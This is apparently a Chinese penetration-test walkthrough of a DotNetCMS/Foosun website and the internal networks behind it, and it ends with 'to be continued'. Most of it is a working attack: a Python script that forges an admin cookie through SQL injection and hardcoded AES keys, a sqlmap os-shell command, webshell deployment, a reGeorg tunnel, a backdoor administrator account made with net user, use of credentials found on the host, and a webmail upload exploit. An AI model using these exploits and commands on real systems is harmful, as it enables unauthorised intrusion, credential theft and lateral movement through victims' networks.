信息收集
登陆目标网站,在首页的使用协议界面查看元素,获取到网站版本
上网搜索到网站所用的DotNetCMS 2.0曾经爆发过一个登陆绕过漏洞
登录绕过漏洞
将下面的代码命名为一个zsd.py的文件
#coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword: ####inurl:/manage/Login.aspx #################################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
return parser.parse_args()def run(url):
try:
usernumber = get_usernumber(url)
if usernumber is not None:
encrypt_cookie = generate_cookie(usernumber)
#写入cookie中
write_cookie(url, encrypt_cookie)
except Exception:
traceback.print_exc()def get_usernumber(url):
fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
content = urllib.urlopen(fullurl).read()
index = content.index("<option value=\"")
if index != -1:
usernumber = content[index+15:]
usernumber = usernumber[0: content.index("\"")+1]
print "Get usernumber success. Usernumber is :", usernumber
return usernumber
else:
print "Get usernumber fail"
return Nonedef pkcs7padding(data):
bs = AES.block_size
padding = bs - len(data) % bs
padding_text = chr(padding) * padding
return data + padding_textdef generate_cookie(usernumber):
orgstr = "%s,admin,0,1,False"%(usernumber,)
cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
ciphertext = base64.b64encode(ciphertext)
return ciphertextdef write_cookie(url, ciphercookie):
print "Generate Cookie[SITEINFO]:", ciphercookie
print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)if __name__ == '__main__':
args = parse_args()
try:
if args.url is not None:
run(args.url[0])
except Exception, e:
print "python Foosun_exp.py -u [url]"
运行zsd文件命令为python zsd.py -u http://www.test.com,会出现报错没有安装crypto模块
再kali中进行安装,命令为pip install Crypto
安装完后再运行一下zsd文件python zsd.py -u http://www.test.com,成功获取到cookie
在后台登录界面/manage/Index.aspx,使用Cookie Editor为【火狐】插件小工具,输入对应的值保存即可【exp.py运行的结果】
删除前面的url,再刷新即可绕过登录后台【不要按“回车键”刷新,点击“url栏”右侧的“转到”-->刷新】
成功绕过登录进入后台管理界面
SQL注入getshell
先找到注入点http://www.test.com/user/City_ajax.aspx?CityId=1
利用sqlmap获取shell直接执行sql语句进行交互:sqlmap.py -u “http://www.test.com/user/City_ajax.aspx?CityId=1” --os-shell
使用ipconfig查看目标主机IP
利用os-shell向目标主机写入aspx一句话
成功上传,用“菜刀工具”连接,成功getshell
代理访问内网
通过查看ip,发现IP为192.168.1.123;说明这个才是内网想要进一步渗透内网,需要与目标主机建立http隧道,从而进入目标内网
先利用“菜刀”上传“wlt.aspx”文件,在kali中利用“reGeorg”打通隧道便可代理连接
命令python reGeorgSocksProxy.py -p 9982 -u http://192.168.31.55/user/wlt.aspx
使用“proxchains”工具代理火狐浏览器:proxychains firefox
成功访问内网192.168.1.123
添加系统超管
在os-shell下建立账户并提升到administrator组
做法:1建一个普通用户net user wllt key123ASD /add
2将其提权为超级管理用户net localgroup administrators wllt /add
代理远程桌面使用http隧道代理访问目标内网主机的3389端口,命令为proxychains rdesktop 192.168.1.123,用自己创建的账户通过远程桌面成功进入
远程连接系统主机与搜集信息
进入主机后,在Administrator管理员的文件下找到一个txt文件,发现有路由器的账户密码
和一个邮箱账户和密码
通过代理firefox以及得到的路由器的账户密码,进入到路由器,发现另一个网段172.19.23.1
在终端监控找到ip 172.19.23.123
第二个内网渗透测试
使用http隧道代理建立连接,并访问目标IP
利用上面得到的邮箱账户与密码,成功进入
该CMS曾经爆发过严重的文件上传漏洞,我们可以尝试检查目标网站有没有修复该漏洞
首先使用如下payload,成功爆出user-id为3
/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk
使用如下EXP代码上传一个图片马
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<FORMname=form1method=postaction="http://172.19.23.123/webmail/client/mail/index.php?module=operate&action=attach-upload" enctype=multipart/form-data>
上传文件:<input type="file" name="Filedata" size="30">
<INPUT type=submit value=上传 name=Submit>
爆出相应的file_id信息
访问http://172.19.23.123/webmail/client/cache/3/15598087796.jpg/.php,成功连接大马
未完待续!!!